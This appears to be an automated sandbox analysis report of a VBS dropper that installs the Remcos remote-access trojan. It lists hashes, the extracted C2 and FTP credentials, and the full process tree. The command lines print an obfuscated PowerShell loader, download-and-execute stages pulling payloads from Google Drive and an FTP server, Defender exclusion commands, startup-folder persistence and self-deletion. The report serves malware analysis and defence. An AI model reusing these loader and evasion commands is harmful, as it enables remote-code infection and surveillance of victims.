Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 01:49

General

  • Target

    d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9.vbs

  • Size

    681KB

  • MD5

    8dbb7515d5a60561c6274dc9727f0153

  • SHA1

    ff42190854208b6a0584542d7ab7319eac4860e2

  • SHA256

    d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9

  • SHA512

    acd73dfc1152bf6d9e0d85832c73765f09e6e23b085ba1a3fa12016a02e6c13fe0a8483a1ac8a1528f91d7d85b9b58a5834f11a8ec13020a589421c934bd2e12

  • SSDEEP

    1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222m:r0iH2GgF+

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Extracted

Family

remcos

Botnet

Grace

C2

severdops.ddns.net:7717

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-P28XIL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9Ќз革DsЌз革KQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革GUЌз革dQByЌз革HQЌз革JwЌз革gЌз革CwЌз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革gЌз革CwЌз革IЌз革Ќз革nЌз革GgЌз革dЌз革B0Ќз革HЌз革Ќз革cwЌз革6Ќз革C8Ќз革LwBlЌз革HYЌз革aQByЌз革HQЌз革dQBhЌз革GwЌз革cwBlЌз革HIЌз革dgBpЌз革GMЌз革ZQBzЌз革HIЌз革ZQB2Ќз革GkЌз革ZQB3Ќз革HMЌз革LgBjЌз革G8Ќз革bQЌз革vЌз革HMЌз革LgB0Ќз革HgЌз革dЌз革Ќз革nЌз革CЌз革Ќз革KЌз革Ќз革gЌз革F0Ќз革XQBbЌз革HQЌз革YwBlЌз革GoЌз革YgBvЌз革FsЌз革IЌз革Ќз革sЌз革CЌз革Ќз革bЌз革BsЌз革HUЌз革bgЌз革kЌз革CЌз革Ќз革KЌз革BlЌз革GsЌз革bwB2Ќз革G4Ќз革SQЌз革uЌз革CkЌз革IЌз革Ќз革nЌз革EkЌз革VgBGЌз革HIЌз革cЌз革Ќз革nЌз革CЌз革Ќз革KЌз革BkЌз革G8Ќз革aЌз革B0Ќз革GUЌз革TQB0Ќз革GUЌз革RwЌз革uЌз革CkЌз革JwЌз革xЌз革HMЌз革cwBhЌз革GwЌз革QwЌз革uЌз革DMЌз革eQByЌз革GEЌз革cgBiЌз革GkЌз革TЌз革BzЌз革HMЌз革YQBsЌз革EMЌз革JwЌз革oЌз革GUЌз革cЌз革B5Ќз革FQЌз革dЌз革BlЌз革EcЌз革LgЌз革pЌз革CЌз革Ќз革RgBTЌз革HUЌз革dgB3Ќз革CQЌз革IЌз革Ќз革oЌз革GQЌз革YQBvЌз革EwЌз革LgBuЌз革GkЌз革YQBtЌз革G8Ќз革RЌз革B0Ќз革G4Ќз革ZQByЌз革HIЌз革dQBDЌз革DoЌз革OgBdЌз革G4Ќз革aQBhЌз革G0Ќз革bwBEЌз革HЌз革Ќз革cЌз革BBЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革7Ќз革CkЌз革IЌз革Ќз革pЌз革CЌз革Ќз革JwBBЌз革CcЌз革IЌз革Ќз革sЌз革CЌз革Ќз革JwCTIToЌз革kyEnЌз革CЌз革Ќз革KЌз革BlЌз革GMЌз革YQBsЌз革HЌз革Ќз革ZQBSЌз革C4Ќз革ZwBTЌз革HoЌз革QwBCЌз革GwЌз革JЌз革Ќз革gЌз革CgЌз革ZwBuЌз革GkЌз革cgB0Ќз革FMЌз革NЌз革Ќз革2Ќз革GUЌз革cwBhЌз革EIЌз革bQBvЌз革HIЌз革RgЌз革6Ќз革DoЌз革XQB0Ќз革HIЌз革ZQB2Ќз革G4Ќз革bwBDЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革gЌз革D0Ќз革IЌз革BGЌз革FMЌз革dQB2Ќз革HcЌз革JЌз革Ќз革gЌз革F0Ќз革XQBbЌз革GUЌз革dЌз革B5Ќз革EIЌз革WwЌз革7Ќз革CcЌз革JQBJЌз革GgЌз革cQBSЌз革FgЌз革JQЌз革nЌз革CЌз革Ќз革PQЌз革gЌз革GUЌз革agB3Ќз革HoЌз革aЌз革Ќз革kЌз革DsЌз革KQЌз革gЌз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革GIЌз革YgB4Ќз革GsЌз革JЌз革Ќз革gЌз革D0Ќз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革DsЌз革OЌз革BGЌз革FQЌз革VQЌз革6Ќз革DoЌз革XQBnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB0Ќз革HgЌз革ZQBUЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革gЌз革D0Ќз革IЌз革BnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgBiЌз革GIЌз革eЌз革BrЌз革CQЌз革OwЌз革pЌз革HQЌз革bgBlЌз革GkЌз革bЌз革BDЌз革GIЌз革ZQBXЌз革C4Ќз革dЌз革BlЌз革E4Ќз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革TwЌз革tЌз革HcЌз革ZQBOЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革YgBiЌз革HgЌз革awЌз革kЌз革DsЌз革KQЌз革oЌз革GUЌз革cwBvЌз革HЌз革Ќз革cwBpЌз革GQЌз革LgBiЌз革GIЌз革eЌз革BrЌз革CQЌз革OwЌз革pЌз革CЌз革Ќз革JwB0Ќз革HgЌз革dЌз革Ќз革uЌз革DEЌз革MЌз革BMЌз革EwЌз革RЌз革Ќз革vЌз革DEЌз革MЌз革Ќз革vЌз革HIЌз革ZQB0Ќз革HЌз革Ќз革eQByЌз革GMЌз革cЌз革BVЌз革C8Ќз革cgBiЌз革C4Ќз革bQBvЌз革GMЌз革LgB0Ќз革GEЌз革cgBiЌз革HYЌз革awBjЌз革HMЌз革ZQBkЌз革C4Ќз革cЌз革B0Ќз革GYЌз革QЌз革Ќз革xЌз革HQЌз革YQByЌз革GIЌз革dgBrЌз革GMЌз革cwBlЌз革GQЌз革LwЌз革vЌз革DoЌз革cЌз革B0Ќз革GYЌз革JwЌз革gЌз革CgЌз革ZwBuЌз革GkЌз革cgB0Ќз革FMЌз革ZЌз革BhЌз革G8Ќз革bЌз革BuЌз革HcЌз革bwBEЌз革C4Ќз革YgBiЌз革HgЌз革awЌз革kЌз革CЌз革Ќз革PQЌз革gЌз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革OwЌз革pЌз革CcЌз革QЌз革BЌз革Ќз革HЌз革Ќз革SgЌз革4Ќз革DcЌз革NQЌз革xЌз革DIЌз革bwByЌз革HЌз革Ќз革cgBlЌз革HЌз革Ќз革bwBsЌз革GUЌз革dgBlЌз革GQЌз革JwЌз革sЌз革CkЌз革KQЌз革5Ќз革DQЌз革LЌз革Ќз革2Ќз革DEЌз革MQЌз革sЌз革DcЌз革OQЌз革sЌз革DQЌз革MQЌз革xЌз革CwЌз革OЌз革Ќз革5Ќз革CwЌз革OЌз革Ќз革xЌз革DEЌз革LЌз革Ќз革3Ќз革DЌз革Ќз革MQЌз革sЌз革DkЌз革OQЌз革sЌз革DUЌз革MQЌз革xЌз革CwЌз革MQЌз革wЌз革DEЌз革LЌз革Ќз革wЌз革DЌз革Ќз革MQЌз革oЌз革F0Ќз革XQBbЌз革HIЌз革YQBoЌз革GMЌз革WwЌз革gЌз革G4Ќз革aQBvЌз革GoЌз革LQЌз革oЌз革CgЌз革bЌз革BhЌз革GkЌз革dЌз革BuЌз革GUЌз革ZЌз革BlЌз革HIЌз革QwBrЌз革HIЌз革bwB3Ќз革HQЌз革ZQBOЌз革C4Ќз革dЌз革BlЌз革E4Ќз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwЌз革gЌз革HQЌз革YwBlЌз革GoЌз革YgBvЌз革C0Ќз革dwBlЌз革G4Ќз革IЌз革Ќз革9Ќз革CЌз革Ќз革cwBsЌз革GEЌз革aQB0Ќз革G4Ќз革ZQBkЌз革GUЌз革cgBDЌз革C4Ќз革YgBiЌз革HgЌз革awЌз革kЌз革DsЌз革OЌз革BGЌз革FQЌз革VQЌз革6Ќз革DoЌз革XQBnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB0Ќз革HgЌз革ZQBUЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革gЌз革D0Ќз革IЌз革BnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgBiЌз革GIЌз革eЌз革BrЌз革CQЌз革OwЌз革pЌз革HQЌз革bgBlЌз革GkЌз革bЌз革BDЌз革GIЌз革ZQBXЌз革C4Ќз革dЌз革BlЌз革E4Ќз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革TwЌз革tЌз革HcЌз革ZQBOЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革YgBiЌз革HgЌз革awЌз革kЌз革DsЌз革ZwBTЌз革HoЌз革QwBCЌз革GwЌз革JЌз革Ќз革7Ќз革DIЌз革MQBzЌз革GwЌз革VЌз革Ќз革6Ќз革DoЌз革XQBlЌз革HЌз革Ќз革eQBUЌз革GwЌз革bwBjЌз革G8Ќз革dЌз革BvЌз革HIЌз革UЌз革B5Ќз革HQЌз革aQByЌз革HUЌз革YwBlЌз革FMЌз革LgB0Ќз革GUЌз革TgЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革bЌз革BvЌз革GMЌз革bwB0Ќз革G8Ќз革cgBQЌз革HkЌз革dЌз革BpЌз革HIЌз革dQBjЌз革GUЌз革UwЌз革6Ќз革DoЌз革XQByЌз革GUЌз革ZwBhЌз革G4Ќз革YQBNЌз革HQЌз革bgBpЌз革G8Ќз革UЌз革BlЌз革GMЌз革aQB2Ќз革HIЌз革ZQBTЌз革C4Ќз革dЌз革BlЌз革E4Ќз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革DsЌз革fQBlЌз革HUЌз革cgB0Ќз革CQЌз革ewЌз革gЌз革D0Ќз革IЌз革BrЌз革GMЌз革YQBiЌз革GwЌз革bЌз革BhЌз革EMЌз革bgBvЌз革GkЌз革dЌз革BhЌз革GQЌз革aQBsЌз革GEЌз革VgBlЌз革HQЌз革YQBjЌз革GkЌз革ZgBpЌз革HQЌз革cgBlЌз革EMЌз革cgBlЌз革HYЌз革cgBlЌз革FMЌз革OgЌз革6Ќз革F0Ќз革cgBlЌз革GcЌз革YQBuЌз革GEЌз革TQB0Ќз革G4Ќз革aQBvЌз革FЌз革Ќз革ZQBjЌз革GkЌз革dgByЌз革GUЌз革UwЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwB7Ќз革CЌз革Ќз革ZQBzЌз革GwЌз革ZQB9Ќз革CЌз革Ќз革ZgЌз革vЌз革CЌз革Ќз革MЌз革Ќз革gЌз革HQЌз革LwЌз革gЌз革HIЌз革LwЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革bgB3Ќз革G8Ќз革ZЌз革B0Ќз革HUЌз革aЌз革BzЌз革CЌз革Ќз革OwЌз革nЌз革DЌз革Ќз革OЌз革Ќз革xЌз革CЌз革Ќз革cЌз革BlЌз革GUЌз革bЌз革BzЌз革CcЌз革IЌз革BkЌз革G4Ќз革YQBtЌз革G0Ќз革bwBjЌз革C0Ќз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GwЌз革bЌз革BlЌз革GgЌз革cwByЌз革GUЌз革dwBvЌз革HЌз革Ќз革OwЌз革gЌз革GUЌз革YwByЌз革G8Ќз革ZgЌз革tЌз革CЌз革Ќз革KQЌз革gЌз革CcЌз革cЌз革B1Ќз革HQЌз革cgBhЌз革HQЌз革UwBcЌз革HMЌз革bQBhЌз革HIЌз革ZwBvЌз革HIЌз革UЌз革BcЌз革HUЌз革bgBlЌз革E0Ќз革IЌз革B0Ќз革HIЌз革YQB0Ќз革FMЌз革XЌз革BzЌз革HcЌз革bwBkЌз革G4Ќз革aQBXЌз革FwЌз革dЌз革BmЌз革G8Ќз革cwBvЌз革HIЌз革YwBpЌз革E0Ќз革XЌз革BnЌз革G4Ќз革aQBtЌз革GEЌз革bwBSЌз革FwЌз革YQB0Ќз革GEЌз革RЌз革BwЌз革HЌз革Ќз革QQBcЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBHЌз革HIЌз革VQBBЌз革CQЌз革IЌз革Ќз革oЌз革CЌз革Ќз革bgBvЌз革GkЌз革dЌз革BhЌз革G4Ќз革aQB0Ќз革HMЌз革ZQBEЌз革C0Ќз革IЌз革Ќз革nЌз革CUЌз革SQBoЌз革HEЌз革UgBYЌз革CUЌз革JwЌз革gЌз革G0Ќз革ZQB0Ќз革EkЌз革LQB5Ќз革HЌз革Ќз革bwBDЌз革CЌз革Ќз革OwЌз革gЌз革HQЌз革cgBhЌз革HQЌз革cwBlЌз革HIЌз革bwBuЌз革C8Ќз革IЌз革B0Ќз革GUЌз革aQB1Ќз革HEЌз革LwЌз革gЌз革FEЌз革QQBqЌз革HoЌз革SQЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革YQBzЌз革HUЌз革dwЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革bЌз革BsЌз革GUЌз革aЌз革BzЌз革HIЌз革ZQB3Ќз革G8Ќз革cЌз革Ќз革gЌз革DsЌз革KQЌз革nЌз革HUЌз革cwBtЌз革C4Ќз革bgBpЌз革HcЌз革cЌз革BVЌз革FwЌз革JwЌз革gЌз革CsЌз革IЌз革BkЌз革EkЌз革UgBpЌз革E0Ќз革JЌз革Ќз革oЌз革CЌз革Ќз革PQЌз革gЌз革FEЌз革QQBqЌз革HoЌз革SQЌз革7Ќз革CkЌз革IЌз革BlЌз革G0Ќз革YQBOЌз革HIЌз革ZQBzЌз革FUЌз革OgЌз革6Ќз革F0Ќз革dЌз革BuЌз革GUЌз革bQBuЌз革G8Ќз革cgBpЌз革HYЌз革bgBFЌз革FsЌз革IЌз革Ќз革rЌз革CЌз革Ќз革JwBcЌз革HMЌз革cgBlЌз革HMЌз革VQBcЌз革DoЌз革QwЌз革nЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革RgBHЌз革HIЌз革VQBBЌз革CQЌз革OwЌз革pЌз革CcЌз革dQBzЌз革G0Ќз革LgBuЌз革GkЌз革dwBwЌз革FUЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革GQЌз革SQBSЌз革GkЌз革TQЌз革kЌз革CЌз革Ќз革LЌз革BCЌз革EsЌз革TЌз革BSЌз革FUЌз革JЌз革Ќз革oЌз革GUЌз革bЌз革BpЌз革EYЌз革ZЌз革BhЌз革G8Ќз革bЌз革BuЌз革HcЌз革bwBEЌз革C4Ќз革aQBNЌз革G8Ќз革YQBJЌз革CQЌз革OwЌз革4Ќз革EYЌз革VЌз革BVЌз革DoЌз革OgBdЌз革GcЌз革bgBpЌз革GQЌз革bwBjЌз革G4Ќз革RQЌз革uЌз革HQЌз革eЌз革BlЌз革FQЌз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革CЌз革Ќз革PQЌз革gЌз革GcЌз革bgBpЌз革GQЌз革bwBjЌз革G4Ќз革RQЌз革uЌз革GkЌз革TQBvЌз革GEЌз革SQЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革GkЌз革TQBvЌз革GEЌз革SQЌз革kЌз革DsЌз革fQЌз革7Ќз革CЌз革Ќз革KQЌз革nЌз革HQЌз革TwBMЌз革GMЌз革XwBLЌз革GEЌз革MwBaЌз革GYЌз革bwBYЌз革DIЌз革SgBKЌз革HIЌз革VgBoЌз革G0Ќз革VgЌз革5Ќз革GMЌз革bQЌз革5Ќз革FgЌз革cwB1Ќз革FgЌз革bQBqЌз革DEЌз革ZwЌз革xЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JЌз革B7Ќз革CЌз革Ќз革ZQBzЌз革GwЌз革ZQB9Ќз革DsЌз革IЌз革Ќз革pЌз革CcЌз革MgЌз革0Ќз革HUЌз革WЌз革BKЌз革FQЌз革cQBhЌз革G0Ќз革ZwB5Ќз革E0Ќз革dЌз革BGЌз革HoЌз革YQBrЌз革FЌз革Ќз革UgЌз革xЌз革HEЌз革XwBJЌз革HYЌз革RwBpЌз革FgЌз革TgBkЌз革HEЌз革YQBOЌз革DEЌз革JwЌз革gЌз革CsЌз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JAAoACAAPQAgAEYAYQBFAFkAUgAkAHsAIAApACAAVwBpAGkAQgBzACQAIAAoACAAZgBpADsAIAApACcANAA2ACcAKABzAG4AaQBhAHQAbgBvAEMALgBFAFIAVQBUAEMARQBUAEkASABDAFIAQQBfAFIATwBTAFMARQBDAE8AUgBQADoAdgBuAGUAJAAgAD0AIABXAGkAaQBCAHMAJAA7ACcAPQBkAGkAJgBkAGEAbwBsAG4AdwBvAGQAPQB0AHIAbwBwAHgAZQA/AGMAdQAvAG0AbwBjAC4AZQBsAGcAbwBvAGcALgBlAHYAaQByAGQALwAvADoAcwBwAHQAdABoACcAIAA9ACAARgBhAEUAWQBSACQAOwApACAAJwB1AHMAbQAuAG4AaQB3AHAAVQBcACcAIAArACAAZABJAFIAaQBNACQAIAAoACAAbABlAGQAOwApACgAaAB0AGEAUABwAG0AZQBUAHQAZQBHADoAOgBdAGgAdABhAFAALgBPAEkALgBtAGUAdABzAHkAUwBbACAAPQAgAGQASQBSAGkATQAkAHsAIAApACAAYQBKAG4AVQBpACQAIAAoACAAZgBpADsAIAApADIAKABzAGwAYQB1AHEARQAuAHIAbwBqAGEATQAuAG4AbwBpAHMAcgBlAFYALgB0AHMAbwBoACQAIAA9ACAAYQBKAG4AVQBpACQAIAA7AA==';$txJSA = $qKKzc.replace('Ќз革' , 'A') ;$oXODH = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $txJSA ) ); $oXODH = $oXODH[-1..-$oXODH.Length] -join '';$oXODH = $oXODH.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9.vbs');powershell $oXODH
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $iUnJa = $host.Version.Major.Equals(2) ;if ( $iUnJa ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$IaoMi = (New-Object Net.WebClient);$IaoMi.Encoding = [System.Text.Encoding]::UTF8;$IaoMi.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$kxbb = (New-Object Net.WebClient);$kxbb.Encoding = [System.Text.Encoding]::UTF8;$kxbb.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $kxbb.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$kxbb.dispose();$kxbb = (New-Object Net.WebClient);$kxbb.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $kxbb.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9.vbs';[Byte[]] $wvuSF = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $wvuSF ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.s/moc.sweiversecivreslautrive//:sptth' , $hzwje , 'true' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1096
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
          4⤵
            PID:4652
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\tktic.ps1"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3412
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
                PID:1700
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:3364
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\d9ae1ca2c79c25731a8a5c2bbe4fda94d99a24cb58b653a5b46371c461c9b2a9.vbs"
              4⤵
                PID:1108

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\remcos\logs.dat

          Filesize

          144B

          MD5

          9b72210a0d7dcc2ab60bedf4c9e4188a

          SHA1

          47b557fcb5476eff6bbcbbf3eacaf3e6fe030ca4

          SHA256

          0ec46addcc31d7a5da6882e3704e55166233553d2b13517078106bac5ffaf275

          SHA512

          5450fbc7eb0a7fb1fec7a771bcc3388c302b631870dbdfd295dd8b3790bbd7767e9d486b366e97d688b5eba37e607057d9f79845e1730c6972b43c6959cf2576

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\tktic.ps1

          Filesize

          1.7MB

          MD5

          46153d1e4e7f4151898a8c84bbfa1037

          SHA1

          eb4dcd68cce1346869a5c2ec55430968ab683df5

          SHA256

          6104acedbcfcdaa76ad7e685a79d2581af61e8763f0b57c587df52c870a7a708

          SHA512

          b4ead3814d5f8d04eaef62b0b457878f08453917b3de06b1fa2a9e67bf6107240fb98fbee8a09aae86ab9b21f5a1e321f5915dfbe179bd95cdb2a0a34bd69914

        • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

          Filesize

          336B

          MD5

          bf9108f93c7d99940ba413b55410aa7c

          SHA1

          8d0917acedcfd14f7434e052a404d5c23bc43497

          SHA256

          9062eeb629c7a4ebb9c28f26d4ef54f3ed7711be4506241585a2564a4ea2056e

          SHA512

          9190368e3f47d8dcf537d869fc9e6d6f92c353e5fdbf48d08871fa7709619d32bca8be028b4b374e6a9d12f281c2a91d9614130b46789e46ecb041cdbb452cdf

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          360B

          MD5

          9c55101be2ebfdb081df7c244c716cc3

          SHA1

          fdaa04885c4e66ff74233b300bb2c7b9cf361c1f

          SHA256

          1b3931bfac2580bc46999fd6287dddddc7176cac7886bcf3ad6c45a3eff5102f

          SHA512

          33caf3447d23dd060453efb1a8980853ae7309b436f9bff4fa5ebf3afb9e0e649a434cc525c8da650d31a3f1f595d84f6be48da67242215d4889a8a9b6ffc262

